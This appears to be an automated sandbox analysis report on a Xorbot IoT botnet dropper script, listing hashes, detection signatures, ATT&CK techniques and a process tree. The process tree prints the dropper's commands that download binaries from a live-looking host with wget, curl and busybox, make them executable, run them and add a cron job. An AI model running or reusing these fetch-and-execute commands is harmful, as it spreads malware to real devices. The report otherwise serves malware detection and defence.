xorbot | 67fb57dc230fd70fdae2f18e1bf44b691a40dc151334bf7d5e95322e60466aa1

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240508-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
28/02/2025, 05:17

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General

Target

bins.sh
Size

10KB
MD5

97982e7de5b089918c84f5769ac0eda3
SHA1

6e77d8eaa36a9266927f0df9223d11d8808101b7
SHA256

67fb57dc230fd70fdae2f18e1bf44b691a40dc151334bf7d5e95322e60466aa1
SHA512

43c04300d6151b49107a0bc06e8a1eda6a74ba3367ee27933744e882cd51859a0069ec4248ea40b477307795cabb8d3c16ef467c1a5e0879a2b1fb1b45fde454
SSDEEP

192:u4AFWyxBRpm/DWgxh237Ix3ShrKLxh237sk4AFWyxJRpm/DIa:u4AFWyxBRpm/DWgxh237Ix3ShrKLxh2K

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot
behavioral1/files/fstream-8.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1534	chmod
1542	chmod
1550	chmod
1516	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p	1517	bins.sh
/tmp/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc	1535	bins.sh
/tmp/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT	1543	bins.sh
/tmp/gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN	1551	bins.sh

Renames itself 1 IoCs

pid	Process
1518	XQw82vXECRUV429SDvD0heUyhUITAYsq7p

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.pOGGEo	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/9/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/18/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/27/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/98/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/175/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/559/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1111/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1161/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/81/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1266/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1284/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1292/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1336/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1356/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1526/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/170/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/172/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/185/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/478/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/495/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/696/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1058/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1123/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/26/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1127/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1191/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/968/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/19/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/31/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/137/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/178/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/477/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1386/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/115/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/174/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/500/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1328/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1554/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/179/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1020/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1034/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1182/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1506/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/2/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/7/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/16/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/84/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/85/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1101/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1504/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/4/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/82/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1115/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1141/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/23/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/35/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/323/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1305/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/13/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/29/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/171/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/182/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/717/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p

System Network Configuration Discovery 1 TTPs 13 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1515	busybox
1530	wget
1531	curl
1533	busybox
1541	busybox
1547	curl
1549	busybox
1554	wget
1508	wget
1513	curl
1538	wget
1539	curl
1546	wget

Writes file to tmp directory 11 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p	wget
File opened for modification	/tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p	curl
File opened for modification	/tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p	busybox
File opened for modification	/tmp/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc	busybox
File opened for modification	/tmp/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT	busybox
File opened for modification	/tmp/gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN	wget
File opened for modification	/tmp/gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN	curl
File opened for modification	/tmp/gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN	busybox
File opened for modification	/tmp/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc	wget
File opened for modification	/tmp/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT	wget
File opened for modification	/tmp/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:1506
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1507
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1508
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1513
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1515
- /bin/chmod
  chmod 777 XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  - File and Directory Permissions Modification
  PID:1516
- /tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  ./XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:1517
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1519
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1520
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1521
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1522
- /bin/rm
  rm XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  PID:1527
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1530
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  2⤵
  - System Network Configuration Discovery
  PID:1531
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1533
- /bin/chmod
  chmod 777 PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  2⤵
  - File and Directory Permissions Modification
  PID:1534
- /tmp/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  ./PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  2⤵
  PID:1535
- /bin/rm
  rm PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  2⤵
  PID:1537
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1538
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1539
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1541
- /bin/chmod
  chmod 777 jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT
  2⤵
  - File and Directory Permissions Modification
  PID:1542
- /tmp/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT
  ./jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT
  2⤵
  PID:1543
- /bin/rm
  rm jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT
  2⤵
  PID:1545
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1546
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1547
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1549
- /bin/chmod
  chmod 777 gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
  2⤵
  - File and Directory Permissions Modification
  PID:1550
- /tmp/gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
  ./gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
  2⤵
  PID:1551
- /bin/rm
  rm gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
  2⤵
  PID:1553
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/H11TJvLrCzY1ljoKMMJAJaiTL7lrqZf6Fs
  2⤵
  - System Network Configuration Discovery
  PID:1554

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN

Filesize
81KB

MD5
1c9bb79799b7fb4c4274074176ce3ba7

SHA1
3e0a9753f4943c5a653116f2c338aed5aba86690

SHA256
6c0dd1475ef0dfe362b69ec9282eb3e8f058b7b60f0897215dc567f24fb8527d

SHA512
eb667ec093afaa5b388c2f24e2677d9986851f50df800f4a442021cdfcb7a4c66bce79909715b6307e52cbb190d8dfb34a47dd0e1798f90c97ce04b130685b6b

Download Submit
/tmp/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT

Filesize
92KB

MD5
61c115564127e35b48c273c139b9d0b0

SHA1
34561aea665b7bfe2657beada63c64ea5658b9b5

SHA256
26eeed549691460a82cc83e0a9e76a9a7a785773a6079890fb6167736192cb38

SHA512
df28d50c306928b47bf7fd97ff918ae52c350b4f8756b1eebb8804a4404fcdcc2b3d616ff3e925418a4a5f8e40b8d77dc58bceaa7fdff92081b950e19657be8c

Download Submit
/tmp/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/var/spool/cron/crontabs/tmp.pOGGEo

Filesize
210B

MD5
2bbed879952dad58c61b34be6d635fec

SHA1
07182d7f0a7fce91f75bccc6c00abbd26a310311

SHA256
ca3265a4b213cfe89b3abb4e76d8c5ad31bb2507ea403378cd89561fc4ed67d1

SHA512
c3720cfc52ea07209e66262722780235c9737f9482b305b7b2e29bc68acce76c0c1a7a165779a9faed5e78562f7fd3d16db155a3e91ce3f4632a165ff17f4fcc

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads